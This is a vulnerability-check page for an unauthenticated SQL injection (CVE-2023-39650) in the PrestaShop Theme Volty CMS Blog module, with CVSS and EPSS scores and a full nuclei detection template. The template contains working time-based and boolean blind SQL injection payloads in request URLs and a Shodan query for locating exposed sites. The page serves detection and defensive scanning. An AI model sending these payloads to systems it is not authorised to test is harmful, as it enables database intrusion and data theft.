PrestaShop Theme Volty CMS Blog - SQL Injection

criticalseverity

9.8CVSS score

4.1%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

In the module 'Theme Volty CMS Blog' (tvcmsblog) up to versions 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET /
Positive when: contains_any(tolower(response), "prestashop", "tvcmsblog")
Send: @timeout: 30s ; @timeout: 20s
Positive when: duration_1>=10 and status_code_1 == 200 && contains(body_1, "tvcmsblog") OR status_code_2 == 200 && contains(body_2, "tvcmsblog") and status_code_2 == 200 && status_code_3 == 302

Run it with nuclei: nuclei -id CVE-2023-39650 -u <target>

The full check

id: CVE-2023-39650

info:
  name: PrestaShop Theme Volty CMS Blog - SQL Injection
  author: mastercho
  severity: critical
  description: |
    In the module 'Theme Volty CMS Blog' (tvcmsblog) up to versions 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  reference:
    - https://security.friendsofpresta.org/modules/2023/08/24/tvcmsblog.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39650
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-39650
    cwe-id: CWE-89
    epss-score: 0.04065
    epss-percentile: 0.90755
  metadata:
    max-request: 4
    verified: true
    framework: prestashop
    shodan-query: html:"/tvcmsblog"
  tags: time-based-sqli,cve,cve2023,prestashop,sqli,tvcmsblog,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(response), "prestashop", "tvcmsblog")'
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /module/tvcmsblog/single?SubmitCurrency=1&id=14&id_currency=2&page_type=post"+AND+(SELECT+7826+FROM+(SELECT(SLEEP(10)))oqFL)--+yxoW HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |
        @timeout: 20s
        GET /module/tvcmsblog/single?SubmitCurrency=1&id=14&id_currency=2&page_type=post"+AND+5484=5484--+xhCs HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |
        @timeout: 20s
        GET /module/tvcmsblog/single?SubmitCurrency=1&id=14&id_currency=2&page_type=post"+AND+5484=5485--+xhCs HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

    host-redirects: true
    matchers:
      - type: dsl
        name: time-based
        dsl:
          - 'duration_1>=10'
          - 'status_code_1 == 200 && contains(body_1, "tvcmsblog")'
        condition: and

      - type: dsl
        name: blind-based
        dsl:
          - 'status_code_2 == 200 && contains(body_2, "tvcmsblog")'
          - 'status_code_2 == 200 && status_code_3 == 302'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from